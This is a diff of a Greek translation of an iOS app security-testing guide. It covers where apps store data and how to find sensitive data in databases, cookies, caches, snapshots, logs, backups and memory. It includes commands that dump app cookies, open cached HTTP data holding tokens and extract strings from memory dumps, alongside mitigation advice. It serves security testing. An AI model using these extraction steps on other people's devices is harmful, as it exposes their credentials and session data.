[`Core Data`](https://developer.apple.com/library/content/documentation/Cocoa/Conceptual/CoreData/nsfetchedresultscontroller.html#//apple_ref/doc/uid/TP40001075-CH8-SW1) είναι ένα πλαίσιο για τη διαχείριση της μοντελοποιημένης στρώσης αντικειμένων στην εφαρμογή σας. [Το Core Data μπορεί να χρησιμοποιεί το SQLite ως μόνιμο αποθηκευτικό χώρο](https://cocoacasts.com/what-is-the-difference-between-core-data-and-sqlite/), αλλά το ίδιο το πλαίσιο δεν είναι μια βάση δεδομένων.\
|
||||
Το CoreData δεν κρυπτογραφεί τα δεδομένα του από προεπιλογή. Ωστόσο, μπορεί να προστεθεί μια επιπλέον στρώση κρυπτογράφησης στο CoreData. Δείτε το [GitHub Repo](https://github.com/project-imas/encrypted-core-data) για περισσότερες λεπτομέρειες.
|
||||
|
||||
Μπορείτε να βρείτε τις πληροφορίες Core Data SQLite μιας εφαρμογής στη διαδρομή `/private/var/mobile/Containers/Data/Application/{APPID}/Library/Application Support`
|
||||
|
||||
**Εάν μπορείτε να ανοίξετε το SQLite και να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες, τότε έχετε βρει μια κακή ρύθμιση.**
|
||||
**Αν μπορείτε να ανοίξετε το SQLite και να αποκτήσετε πρόσβαση σε ευαίσθητες πληροφορίες, τότε έχετε βρει μια κακή ρύθμιση.**
|
||||
```objectivec:Code from iGoat
|
||||
-(void)storeDetails {
|
||||
AppDelegate * appDelegate = (AppDelegate *)(UIApplication.sharedApplication.delegate);
|
||||
@ -454,9 +454,9 @@ find ./ -name "*.sqlite" -or -name "*.db"
|
||||
|
||||
### Realm databases
|
||||
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) και [Realm Swift](https://realm.io/docs/swift/latest/) προσφέρουν μια ισχυρή εναλλακτική λύση για την αποθήκευση δεδομένων, που δεν παρέχεται από την Apple. Από προεπιλογή, **αποθηκεύουν δεδομένα χωρίς κρυπτογράφηση**, με κρυπτογράφηση διαθέσιμη μέσω συγκεκριμένης διαμόρφωσης.
|
||||
[Realm Objective-C](https://realm.io/docs/objc/latest/) και [Realm Swift](https://realm.io/docs/swift/latest/) προσφέρουν μια ισχυρή εναλλακτική για την αποθήκευση δεδομένων, που δεν παρέχεται από την Apple. Από προεπιλογή, **αποθηκεύουν δεδομένα χωρίς κρυπτογράφηση**, με κρυπτογράφηση διαθέσιμη μέσω συγκεκριμένης διαμόρφωσης.
|
||||
|
||||
Οι βάσεις δεδομένων βρίσκονται στη διεύθυνση: `/private/var/mobile/Containers/Data/Application/{APPID}`. Για να εξερευνήσετε αυτά τα αρχεία, μπορείτε να χρησιμοποιήσετε εντολές όπως:
|
||||
Οι βάσεις δεδομένων βρίσκονται στη διεύθυνση: `/private/var/mobile/Containers/Data/Application/{APPID}`. Για να εξερευνήσετε αυτά τα αρχεία, μπορεί κανείς να χρησιμοποιήσει εντολές όπως:
|
||||
```bash
|
||||
iPhone:/private/var/mobile/Containers/Data/Application/A079DF84-726C-4AEA-A194-805B97B3684A/Documents root# ls
|
||||
default.realm default.realm.lock default.realm.management/ default.realm.note|
|
||||
@ -465,7 +465,7 @@ $ find ./ -name "*.realm*"
|
||||
```
|
||||
Για την προβολή αυτών των αρχείων βάσης δεδομένων, προτείνεται το εργαλείο [**Realm Studio**](https://github.com/realm/realm-studio).
|
||||
|
||||
Για την υλοποίηση κρυπτογράφησης μέσα σε μια βάση δεδομένων Realm, μπορεί να χρησιμοποιηθεί το παρακάτω απόσπασμα κώδικα:
|
||||
Για να υλοποιήσετε την κρυπτογράφηση μέσα σε μια βάση δεδομένων Realm, μπορεί να χρησιμοποιηθεί το παρακάτω απόσπασμα κώδικα:
|
||||
```swift
|
||||
// Open the encrypted Realm file where getKey() is a method to obtain a key from the Keychain or a server
|
||||
let config = Realm.Configuration(encryptionKey: getKey())
|
||||
@ -479,7 +479,7 @@ fatalError("Error opening realm: \(error)")
|
||||
```
|
||||
### Couchbase Lite Databases
|
||||
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) περιγράφεται ως μια **ελαφριά** και **ενσωματωμένη** μηχανή βάσης δεδομένων που ακολουθεί την **εγγράφου-προσανατολισμένη** (NoSQL) προσέγγιση. Σχεδιασμένη να είναι εγγενής για **iOS** και **macOS**, προσφέρει τη δυνατότητα συγχρονισμού δεδομένων χωρίς προβλήματα.
|
||||
[Couchbase Lite](https://github.com/couchbase/couchbase-lite-ios) περιγράφεται ως μια **ελαφριά** και **ενσωματωμένη** μηχανή βάσης δεδομένων που ακολουθεί την προσέγγιση **προσανατολισμένη σε έγγραφα** (NoSQL). Σχεδιασμένη να είναι εγγενής για **iOS** και **macOS**, προσφέρει τη δυνατότητα συγχρονισμού δεδομένων χωρίς προβλήματα.
|
||||
|
||||
Για να εντοπιστούν πιθανές βάσεις δεδομένων Couchbase σε μια συσκευή, θα πρέπει να ελεγχθεί ο παρακάτω κατάλογος:
|
||||
```bash
|
||||
@ -489,8 +489,8 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
|
||||
Το iOS αποθηκεύει τα cookies των εφαρμογών στο **`Library/Cookies/cookies.binarycookies`** μέσα στον φάκελο κάθε εφαρμογής. Ωστόσο, οι προγραμματιστές μερικές φορές αποφασίζουν να τα αποθηκεύσουν στο **keychain** καθώς το αναφερόμενο **cookie file μπορεί να προσπελαστεί σε αντίγραφα ασφαλείας**.
|
||||
|
||||
Για να ελέγξετε το αρχείο cookies μπορείτε να χρησιμοποιήσετε [**αυτό το python script**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ή να χρησιμοποιήσετε το **`ios cookies get`** του objection.\
|
||||
**Μπορείτε επίσης να χρησιμοποιήσετε το objection για να** μετατρέψετε αυτά τα αρχεία σε μορφή JSON και να ελέγξετε τα δεδομένα.
|
||||
Για να επιθεωρήσετε το αρχείο cookies μπορείτε να χρησιμοποιήσετε [**αυτό το python script**](https://github.com/mdegrazia/Safari-Binary-Cookie-Parser) ή να χρησιμοποιήσετε το **`ios cookies get`** του objection.\
|
||||
**Μπορείτε επίσης να χρησιμοποιήσετε το objection για** να μετατρέψετε αυτά τα αρχεία σε μορφή JSON και να επιθεωρήσετε τα δεδομένα.
|
||||
```bash
|
||||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios cookies get --json
|
||||
[
|
||||
@ -508,33 +508,33 @@ ls /private/var/mobile/Containers/Data/Application/{APPID}/Library/Application S
|
||||
```
|
||||
### Cache
|
||||
|
||||
Από προεπιλογή, το NSURLSession αποθηκεύει δεδομένα, όπως **HTTP requests και responses στη βάση δεδομένων Cache.db**. Αυτή η βάση δεδομένων μπορεί να περιέχει **ευαίσθητα δεδομένα**, εάν έχουν αποθηκευτεί tokens, usernames ή οποιαδήποτε άλλη ευαίσθητη πληροφορία. Για να βρείτε τις αποθηκευμένες πληροφορίες, ανοίξτε τον κατάλογο δεδομένων της εφαρμογής (`/var/mobile/Containers/Data/Application/<UUID>`) και μεταβείτε στο `/Library/Caches/<Bundle Identifier>`. Η **WebKit cache αποθηκεύεται επίσης στο αρχείο Cache.db**. **Objection** μπορεί να ανοίξει και να αλληλεπιδράσει με τη βάση δεδομένων με την εντολή `sqlite connect Cache.db`, καθώς είναι μια **κανονική βάση δεδομένων SQLite**.
|
||||
Από προεπιλογή, το NSURLSession αποθηκεύει δεδομένα, όπως **HTTP requests και responses στη βάση δεδομένων Cache.db**. Αυτή η βάση δεδομένων μπορεί να περιέχει **ευαίσθητα δεδομένα**, εάν έχουν αποθηκευτεί tokens, usernames ή οποιαδήποτε άλλη ευαίσθητη πληροφορία. Για να βρείτε τις αποθηκευμένες πληροφορίες, ανοίξτε τον φάκελο δεδομένων της εφαρμογής (`/var/mobile/Containers/Data/Application/<UUID>`) και μεταβείτε στο `/Library/Caches/<Bundle Identifier>`. Η **cache του WebKit αποθηκεύεται επίσης στο αρχείο Cache.db**. **Objection** μπορεί να ανοίξει και να αλληλεπιδράσει με τη βάση δεδομένων με την εντολή `sqlite connect Cache.db`, καθώς είναι μια **κανονική βάση δεδομένων SQLite**.
|
||||
|
||||
Συνιστάται να απενεργοποιήσετε την αποθήκευση αυτών των δεδομένων, καθώς μπορεί να περιέχουν ευαίσθητες πληροφορίες στην αίτηση ή την απάντηση. Η παρακάτω λίστα δείχνει διάφορους τρόπους για να το επιτύχετε αυτό:
|
||||
Είναι **συνιστώμενο να απενεργοποιήσετε την αποθήκευση αυτών των δεδομένων**, καθώς μπορεί να περιέχουν ευαίσθητες πληροφορίες στην αίτηση ή την απάντηση. Η παρακάτω λίστα δείχνει διάφορους τρόπους για να το επιτύχετε αυτό:
|
||||
|
||||
1. Συνιστάται να αφαιρείτε τις αποθηκευμένες απαντήσεις μετά την αποσύνδεση. Αυτό μπορεί να γίνει με τη μέθοδο που παρέχεται από την Apple που ονομάζεται [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Μπορείτε να καλέσετε αυτή τη μέθοδο ως εξής:
|
||||
1. Συνιστάται να αφαιρείτε τις Cached responses μετά την αποσύνδεση. Αυτό μπορεί να γίνει με τη μέθοδο που παρέχει η Apple, που ονομάζεται [`removeAllCachedResponses`](https://developer.apple.com/documentation/foundation/urlcache/1417802-removeallcachedresponses). Μπορείτε να καλέσετε αυτή τη μέθοδο ως εξής:
|
||||
|
||||
`URLCache.shared.removeAllCachedResponses()`
|
||||
|
||||
Αυτή η μέθοδος θα αφαιρέσει όλες τις αποθηκευμένες αιτήσεις και απαντήσεις από το αρχείο Cache.db.
|
||||
|
||||
2. Εάν δεν χρειάζεται να χρησιμοποιήσετε το πλεονέκτημα των cookies, θα ήταν προτιμότερο να χρησιμοποιήσετε την ιδιότητα διαμόρφωσης [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) του URLSession, η οποία θα απενεργοποιήσει την αποθήκευση cookies και Caches.
|
||||
2. Εάν δεν χρειάζεται να χρησιμοποιήσετε το πλεονέκτημα των cookies, θα ήταν συνιστώμενο να χρησιμοποιήσετε την ιδιότητα ρύθμισης [.ephemeral](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral) του URLSession, η οποία θα απενεργοποιήσει την αποθήκευση cookies και Caches.
|
||||
|
||||
[Apple documentation](https://developer.apple.com/documentation/foundation/urlsessionconfiguration/1410529-ephemeral):
|
||||
|
||||
`An ephemeral session configuration object is similar to a default session configuration (see default), except that the corresponding session object doesn’t store caches, credential stores, or any session-related data to disk. Instead, session-related data is stored in RAM. The only time an ephemeral session writes data to disk is when you tell it to write the contents of a URL to a file.`
|
||||
|
||||
3. Η αποθήκευση μπορεί επίσης να απενεργοποιηθεί ρυθμίζοντας την Πολιτική Cache σε [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Αυτό θα απενεργοποιήσει την αποθήκευση Cache με οποιονδήποτε τρόπο, είτε στη μνήμη είτε στο δίσκο.
|
||||
3. Η cache μπορεί επίσης να απενεργοποιηθεί ρυθμίζοντας την Πολιτική Cache σε [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Αυτό θα απενεργοποιήσει την αποθήκευση της cache με οποιονδήποτε τρόπο, είτε στη μνήμη είτε στο δίσκο.
|
||||
|
||||
### Snapshots
|
||||
|
||||
Όποτε πατάτε το κουμπί αρχικής οθόνης, το iOS **λαμβάνει μια στιγμιότυπο της τρέχουσας οθόνης** για να μπορέσει να κάνει τη μετάβαση στην εφαρμογή με πολύ πιο ομαλό τρόπο. Ωστόσο, εάν υπάρχουν **ευαίσθητα** **δεδομένα** στην τρέχουσα οθόνη, θα **αποθηκευτούν** στην **εικόνα** (η οποία **διατηρείται** **μετά** **από** **επανεκκινήσεις**). Αυτά είναι τα στιγμιότυπα που μπορείτε επίσης να αποκτήσετε πρόσβαση διπλά πατώντας την αρχική οθόνη για να αλλάξετε μεταξύ εφαρμογών.
|
||||
Όποτε πατάτε το κουμπί αρχικής οθόνης, το iOS **λαμβάνει ένα στιγμιότυπο της τρέχουσας οθόνης** για να μπορέσει να κάνει τη μετάβαση στην εφαρμογή με πολύ πιο ομαλό τρόπο. Ωστόσο, εάν υπάρχουν **ευαίσθητα** **δεδομένα** στην τρέχουσα οθόνη, θα **αποθηκευτούν** στην **εικόνα** (η οποία **διατηρείται** **μετά** **από** **επανεκκινήσεις**). Αυτά είναι τα στιγμιότυπα που μπορείτε επίσης να αποκτήσετε πρόσβαση διπλά πατώντας την αρχική οθόνη για να αλλάξετε μεταξύ εφαρμογών.
|
||||
|
||||
Εκτός εάν το iPhone είναι jailbroken, ο **επιτιθέμενος** χρειάζεται να έχει **πρόσβαση** στη **συσκευή** **ξεκλειδωμένη** για να δει αυτά τα στιγμιότυπα. Από προεπιλογή, το τελευταίο στιγμιότυπο αποθηκεύεται στο sandbox της εφαρμογής στον φάκελο `Library/Caches/Snapshots/` ή `Library/SplashBoard/Snapshots` (οι αξιόπιστοι υπολογιστές δεν μπορούν να έχουν πρόσβαση στο filesystem από το iOX 7.0).
|
||||
|
||||
Ένας τρόπος για να αποτρέψετε αυτή τη κακή συμπεριφορά είναι να βάλετε μια κενή οθόνη ή να αφαιρέσετε τα ευαίσθητα δεδομένα πριν από τη λήψη του στιγμιότυπου χρησιμοποιώντας τη λειτουργία `ApplicationDidEnterBackground()`.
|
||||
Ένας τρόπος για να αποτρέψετε αυτή τη κακή συμπεριφορά είναι να βάλετε μια κενή οθόνη ή να αφαιρέσετε τα ευαίσθητα δεδομένα πριν λάβετε το στιγμιότυπο χρησιμοποιώντας τη λειτουργία `ApplicationDidEnterBackground()`.
|
||||
|
||||
Η παρακάτω είναι μια δείγμα μεθόδου αποκατάστασης που θα ορίσει ένα προεπιλεγμένο στιγμιότυπο οθόνης.
|
||||
Η παρακάτω είναι μια δείγμα μεθόδου αποκατάστασης που θα ορίσει ένα προεπιλεγμένο στιγμιότυπο.
|
||||
|
||||
Swift:
|
||||
```swift
|
||||
@ -574,7 +574,7 @@ self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||||
|
||||
#### **Αποθήκευση Διαπιστευτηρίων**
|
||||
|
||||
Η κλάση **NSURLCredential** είναι ιδανική για την αποθήκευση ευαίσθητων πληροφοριών απευθείας στο keychain, παρακάμπτοντας την ανάγκη για NSUserDefaults ή άλλες περιτυλίξεις. Για να αποθηκεύσετε διαπιστευτήρια μετά την είσοδο, χρησιμοποιείται ο παρακάτω κώδικας Swift:
|
||||
Η κλάση **NSURLCredential** είναι ιδανική για την αποθήκευση ευαίσθητων πληροφοριών απευθείας στο keychain, παρακάμπτοντας την ανάγκη για NSUserDefaults ή άλλες περιτυλίξεις. Για να αποθηκευτούν τα διαπιστευτήρια μετά την είσοδο, χρησιμοποιείται ο παρακάτω κώδικας Swift:
|
||||
```swift
|
||||
NSURLCredential *credential;
|
||||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||||
@ -584,13 +584,13 @@ credential = [NSURLCredential credentialWithUser:username password:password pers
|
||||
|
||||
## **Προσαρμοσμένα Πληκτρολόγια και Κρυφή Μνήμη Πληκτρολογίου**
|
||||
|
||||
Με το iOS 8.0 και μετά, οι χρήστες μπορούν να εγκαταστήσουν προσαρμοσμένες επεκτάσεις πληκτρολογίου, οι οποίες είναι διαχειρίσιμες κάτω από **Ρυθμίσεις > Γενικά > Πληκτρολόγιο > Πληκτρολόγια**. Ενώ αυτά τα πληκτρολόγια προσφέρουν επεκταμένη λειτουργικότητα, ενέχουν τον κίνδυνο καταγραφής πλήκτρων και μετάδοσης δεδομένων σε εξωτερικούς διακομιστές, αν και οι χρήστες ενημερώνονται για τα πληκτρολόγια που απαιτούν πρόσβαση στο δίκτυο. Οι εφαρμογές μπορούν και πρέπει να περιορίζουν τη χρήση προσαρμοσμένων πληκτρολογίων για την εισαγωγή ευαίσθητων πληροφοριών.
|
||||
Με το iOS 8.0 και μετά, οι χρήστες μπορούν να εγκαταστήσουν προσαρμοσμένες επεκτάσεις πληκτρολογίου, οι οποίες είναι διαχειρίσιμες υπό **Ρυθμίσεις > Γενικά > Πληκτρολόγιο > Πληκτρολόγια**. Ενώ αυτά τα πληκτρολόγια προσφέρουν επεκτεταμένη λειτουργικότητα, ενέχουν τον κίνδυνο καταγραφής πλήκτρων και μετάδοσης δεδομένων σε εξωτερικούς διακομιστές, αν και οι χρήστες ειδοποιούνται για τα πληκτρολόγια που απαιτούν πρόσβαση στο δίκτυο. Οι εφαρμογές μπορούν και πρέπει να περιορίζουν τη χρήση προσαρμοσμένων πληκτρολογίων για την εισαγωγή ευαίσθητων πληροφοριών.
|
||||
|
||||
**Συστάσεις Ασφαλείας:**
|
||||
|
||||
- Συνιστάται να απενεργοποιήσετε τα πληκτρολόγια τρίτων για αυξημένη ασφάλεια.
|
||||
- Συνιστάται να απενεργοποιούνται τα πληκτρολόγια τρίτων για αυξημένη ασφάλεια.
|
||||
- Να είστε προσεκτικοί με τις δυνατότητες αυτόματης διόρθωσης και αυτόματων προτάσεων του προεπιλεγμένου πληκτρολογίου iOS, οι οποίες θα μπορούσαν να αποθηκεύσουν ευαίσθητες πληροφορίες σε αρχεία κρυφής μνήμης που βρίσκονται σε `Library/Keyboard/{locale}-dynamic-text.dat` ή `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. Αυτά τα αρχεία κρυφής μνήμης θα πρέπει να ελέγχονται τακτικά για ευαίσθητα δεδομένα. Συνιστάται η επαναφορά του λεξικού πληκτρολογίου μέσω **Ρυθμίσεις > Γενικά > Επαναφορά > Επαναφορά Λεξικού Πληκτρολογίου** για την εκκαθάριση των αποθηκευμένων δεδομένων.
|
||||
- Η παρεμβολή της δικτυακής κίνησης μπορεί να αποκαλύψει αν ένα προσαρμοσμένο πληκτρολόγιο μεταδίδει πλήκτρα απομακρυσμένα.
|
||||
- Η παρεμβολή της δικτυακής κίνησης μπορεί να αποκαλύψει εάν ένα προσαρμοσμένο πληκτρολόγιο μεταδίδει πλήκτρα απομακρυσμένα.
|
||||
|
||||
### **Πρόληψη Κρυφής Μνήμης Πεδίου Κειμένου**
|
||||
|
||||
@ -606,11 +606,11 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
```
|
||||
## **Καταγραφές**
|
||||
|
||||
Η αποσφαλμάτωση κώδικα συχνά περιλαμβάνει τη χρήση της **καταγραφής**. Υπάρχει κίνδυνος καθώς **οι καταγραφές μπορεί να περιέχουν ευαίσθητες πληροφορίες**. Στο παρελθόν, σε iOS 6 και παλαιότερες εκδόσεις, οι καταγραφές ήταν προσβάσιμες σε όλες τις εφαρμογές, θέτοντας σε κίνδυνο τη διαρροή ευαίσθητων δεδομένων. **Τώρα, οι εφαρμογές περιορίζονται στην πρόσβαση μόνο στις δικές τους καταγραφές**.
|
||||
Η αποσφαλμάτωση κώδικα συχνά περιλαμβάνει τη χρήση της **καταγραφής**. Υπάρχει κίνδυνος καθώς οι **καταγραφές μπορεί να περιέχουν ευαίσθητες πληροφορίες**. Στο παρελθόν, σε iOS 6 και παλαιότερες εκδόσεις, οι καταγραφές ήταν προσβάσιμες σε όλες τις εφαρμογές, θέτοντας σε κίνδυνο τη διαρροή ευαίσθητων δεδομένων. **Τώρα, οι εφαρμογές περιορίζονται στην πρόσβαση μόνο στις δικές τους καταγραφές**.
|
||||
|
||||
Παρά αυτούς τους περιορισμούς, ένας **επιτιθέμενος με φυσική πρόσβαση** σε μια ξεκλείδωτη συσκευή μπορεί να εκμεταλλευτεί αυτό συνδέοντας τη συσκευή σε έναν υπολογιστή και **διαβάζοντας τις καταγραφές**. Είναι σημαντικό να σημειωθεί ότι οι καταγραφές παραμένουν στον δίσκο ακόμη και μετά την απεγκατάσταση της εφαρμογής.
|
||||
Παρά αυτούς τους περιορισμούς, ένας **επιτιθέμενος με φυσική πρόσβαση** σε μια ξεκλείδωτη συσκευή μπορεί να εκμεταλλευτεί αυτό το γεγονός συνδέοντας τη συσκευή σε έναν υπολογιστή και **διαβάζοντας τις καταγραφές**. Είναι σημαντικό να σημειωθεί ότι οι καταγραφές παραμένουν στον δίσκο ακόμη και μετά την απεγκατάσταση της εφαρμογής.
|
||||
|
||||
Για να μετριαστούν οι κίνδυνοι, συνιστάται να **αλληλεπιδράσετε διεξοδικά με την εφαρμογή**, εξερευνώντας όλες τις λειτουργίες και τις εισόδους της για να διασφαλίσετε ότι δεν καταγράφεται κατά λάθος καμία ευαίσθητη πληροφορία.
|
||||
Για να μετριαστούν οι κίνδυνοι, συνιστάται να **αλληλεπιδράτε διεξοδικά με την εφαρμογή**, εξερευνώντας όλες τις λειτουργίες και τις εισόδους της για να διασφαλίσετε ότι δεν καταγράφονται κατά λάθος ευαίσθητες πληροφορίες.
|
||||
|
||||
Κατά την ανασκόπηση του πηγαίου κώδικα της εφαρμογής για πιθανές διαρροές, αναζητήστε τόσο **προκαθορισμένες** όσο και **προσαρμοσμένες δηλώσεις καταγραφής** χρησιμοποιώντας λέξεις-κλειδιά όπως `NSLog`, `NSAssert`, `NSCAssert`, `fprintf` για ενσωματωμένες λειτουργίες, και οποιαδήποτε αναφορά σε `Logging` ή `Logfile` για προσαρμοσμένες υλοποιήσεις.
|
||||
|
||||
@ -621,14 +621,14 @@ textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||||
idevice_id --list # To find the device ID
|
||||
idevicesyslog -u <id> (| grep <app>) # To capture the device logs
|
||||
```
|
||||
είναι χρήσιμα. Επιπλέον, **Xcode** παρέχει έναν τρόπο για να συλλέξετε τα αρχεία καταγραφής κονσόλας:
|
||||
είναι χρήσιμα. Επιπλέον, το **Xcode** παρέχει έναν τρόπο για να συλλέξετε τα αρχεία καταγραφής κονσόλας:
|
||||
|
||||
1. Ανοίξτε το Xcode.
|
||||
2. Συνδέστε τη συσκευή iOS.
|
||||
3. Μεταβείτε στο **Window** -> **Devices and Simulators**.
|
||||
3. Μεταβείτε στο **Παράθυρο** -> **Συσκευές και Προσομοιωτές**.
|
||||
4. Επιλέξτε τη συσκευή σας.
|
||||
5. Προκαλέστε το ζήτημα που ερευνάτε.
|
||||
6. Χρησιμοποιήστε το κουμπί **Open Console** για να δείτε τα αρχεία καταγραφής σε ένα νέο παράθυρο.
|
||||
6. Χρησιμοποιήστε το κουμπί **Άνοιγμα Κονσόλας** για να δείτε τα αρχεία καταγραφής σε ένα νέο παράθυρο.
|
||||
|
||||
Για πιο προηγμένη καταγραφή, η σύνδεση στο shell της συσκευής και η χρήση του **socat** μπορεί να παρέχει παρακολούθηση αρχείων καταγραφής σε πραγματικό χρόνο:
|
||||
```bash
|
||||
@ -638,15 +638,15 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
## Αντίγραφα ασφαλείας
|
||||
|
||||
**Δυνατότητες αυτόματης δημιουργίας αντιγράφων ασφαλείας** είναι ενσωματωμένες στο iOS, διευκολύνοντας τη δημιουργία αντιγράφων δεδομένων συσκευής μέσω του iTunes (έως macOS Catalina), Finder (από macOS Catalina και μετά) ή iCloud. Αυτά τα αντίγραφα ασφαλείας περιλαμβάνουν σχεδόν όλα τα δεδομένα της συσκευής, εξαιρουμένων των πολύ ευαίσθητων στοιχείων όπως οι λεπτομέρειες του Apple Pay και οι ρυθμίσεις του Touch ID.
|
||||
**Δυνατότητες αυτόματης δημιουργίας αντιγράφων ασφαλείας** είναι ενσωματωμένες στο iOS, διευκολύνοντας τη δημιουργία αντιγράφων δεδομένων συσκευής μέσω του iTunes (έως macOS Catalina), Finder (από macOS Catalina και μετά) ή iCloud. Αυτά τα αντίγραφα ασφαλείας περιλαμβάνουν σχεδόν όλα τα δεδομένα της συσκευής, εξαιρουμένων των πολύ ευαίσθητων στοιχείων όπως οι λεπτομέρειες του Apple Pay και οι ρυθμίσεις Touch ID.
|
||||
|
||||
### Κίνδυνοι Ασφαλείας
|
||||
|
||||
Η συμπερίληψη των **εγκατεστημένων εφαρμογών και των δεδομένων τους** στα αντίγραφα ασφαλείας εγείρει το ζήτημα της πιθανής **διαρροής δεδομένων** και του κινδύνου ότι **οι τροποποιήσεις των αντιγράφων ασφαλείας θα μπορούσαν να αλλάξουν τη λειτουργικότητα της εφαρμογής**. Συνιστάται να **μην αποθηκεύετε ευαίσθητες πληροφορίες σε απλό κείμενο** μέσα στον κατάλογο οποιασδήποτε εφαρμογής ή στους υποκαταλόγους της για να μετριαστούν αυτοί οι κίνδυνοι.
|
||||
Η συμπερίληψη **εγκατεστημένων εφαρμογών και των δεδομένων τους** στα αντίγραφα ασφαλείας εγείρει το ζήτημα της πιθανής **διαρροής δεδομένων** και του κινδύνου ότι **οι τροποποιήσεις των αντιγράφων ασφαλείας θα μπορούσαν να αλλάξουν τη λειτουργικότητα της εφαρμογής**. Συνιστάται να **μην αποθηκεύετε ευαίσθητες πληροφορίες σε απλό κείμενο** μέσα στον κατάλογο οποιασδήποτε εφαρμογής ή στους υποκαταλόγους της για να μετριαστούν αυτοί οι κίνδυνοι.
|
||||
|
||||
### Εξαίρεση Αρχείων από Αντίγραφα Ασφαλείας
|
||||
|
||||
Αρχεία στον `Documents/` και `Library/Application Support/` δημιουργούνται αντίγραφα ασφαλείας από προεπιλογή. Οι προγραμματιστές μπορούν να εξαιρέσουν συγκεκριμένα αρχεία ή καταλόγους από τα αντίγραφα ασφαλείας χρησιμοποιώντας `NSURL setResourceValue:forKey:error:` με το `NSURLIsExcludedFromBackupKey`. Αυτή η πρακτική είναι κρίσιμη για την προστασία ευαίσθητων δεδομένων από το να περιλαμβάνονται στα αντίγραφα ασφαλείας.
|
||||
Τα αρχεία στον `Documents/` και `Library/Application Support/` δημιουργούνται αντίγραφα ασφαλείας από προεπιλογή. Οι προγραμματιστές μπορούν να εξαιρέσουν συγκεκριμένα αρχεία ή καταλόγους από τα αντίγραφα ασφαλείας χρησιμοποιώντας `NSURL setResourceValue:forKey:error:` με το `NSURLIsExcludedFromBackupKey`. Αυτή η πρακτική είναι κρίσιμη για την προστασία ευαίσθητων δεδομένων από το να περιλαμβάνονται στα αντίγραφα ασφαλείας.
|
||||
|
||||
### Δοκιμή για Ευπάθειες
|
||||
|
||||
@ -673,7 +673,7 @@ iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||||
|
||||
## Περίληψη σχετικά με τη Δοκιμή Μνήμης για Ευαίσθητα Δεδομένα
|
||||
|
||||
Όταν ασχολείστε με ευαίσθητες πληροφορίες που αποθηκεύονται στη μνήμη μιας εφαρμογής, είναι κρίσιμο να περιορίσετε τον χρόνο έκθεσης αυτών των δεδομένων. Υπάρχουν δύο κύριες προσεγγίσεις για την εξέταση του περιεχομένου της μνήμης: **δημιουργία ενός dump μνήμης** και **ανάλυση της μνήμης σε πραγματικό χρόνο**. Και οι δύο μέθοδοι έχουν τις προκλήσεις τους, συμπεριλαμβανομένου του ενδεχόμενου να χάσετε κρίσιμα δεδομένα κατά τη διάρκεια της διαδικασίας dump ή ανάλυσης.
|
||||
Όταν ασχολείστε με ευαίσθητες πληροφορίες που αποθηκεύονται στη μνήμη μιας εφαρμογής, είναι κρίσιμο να περιορίσετε τον χρόνο έκθεσης αυτών των δεδομένων. Υπάρχουν δύο κύριες προσεγγίσεις για την έρευνα του περιεχομένου της μνήμης: **δημιουργία ενός dump μνήμης** και **ανάλυση της μνήμης σε πραγματικό χρόνο**. Και οι δύο μέθοδοι έχουν τις προκλήσεις τους, συμπεριλαμβανομένου του ενδεχόμενου να χάσετε κρίσιμα δεδομένα κατά τη διάρκεια της διαδικασίας dump ή ανάλυσης.
|
||||
|
||||
## **Ανάκτηση και Ανάλυση ενός Dump Μνήμης**
|
||||
|
||||
@ -687,7 +687,7 @@ $ strings memory > strings.txt
|
||||
# Extracting strings using rabin2
|
||||
$ rabin2 -ZZ memory > strings.txt
|
||||
```
|
||||
Για πιο λεπτομερή ανάλυση, συμπεριλαμβανομένης της αναζήτησης συγκεκριμένων τύπων δεδομένων ή προτύπων, το **radare2** προσφέρει εκτενείς δυνατότητες αναζήτησης:
|
||||
Για πιο λεπτομερή ανάλυση, συμπεριλαμβανομένης της αναζήτησης συγκεκριμένων τύπων δεδομένων ή προτύπων, **radare2** προσφέρει εκτενείς δυνατότητες αναζήτησης:
|
||||
```bash
|
||||
$ r2 <name_of_your_dump_file>
|
||||
[0x00000000]> /?
|
||||
@ -714,42 +714,42 @@ $ r2 frida://usb//<name_of_your_app>
|
||||
|
||||
Οι κύριοι έλεγχοι που πρέπει να εκτελούνται είναι να βρείτε αν μπορείτε να βρείτε **σκληρά κωδικοποιημένους** κωδικούς/μυστικά στον κώδικα, ή αν αυτά είναι **προβλέψιμα**, και αν ο κώδικας χρησιμοποιεί κάποιο είδος **αδύναμων** **κρυπτογραφικών** αλγορίθμων.
|
||||
|
||||
Είναι ενδιαφέρον να γνωρίζετε ότι μπορείτε να **παρακολουθείτε** ορισμένες **βιβλιοθήκες** **κρυπτογραφίας** αυτόματα χρησιμοποιώντας **objection** με:
|
||||
Είναι ενδιαφέρον να γνωρίζετε ότι μπορείτε να **παρακολουθείτε** ορισμένες **βιβλιοθήκες** **κρυπτογράφησης** αυτόματα χρησιμοποιώντας **objection** με:
|
||||
```swift
|
||||
ios monitor crypt
|
||||
```
|
||||
Για **περισσότερες πληροφορίες** σχετικά με τα κρυπτογραφικά APIs και βιβλιοθήκες iOS, επισκεφθείτε [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||||
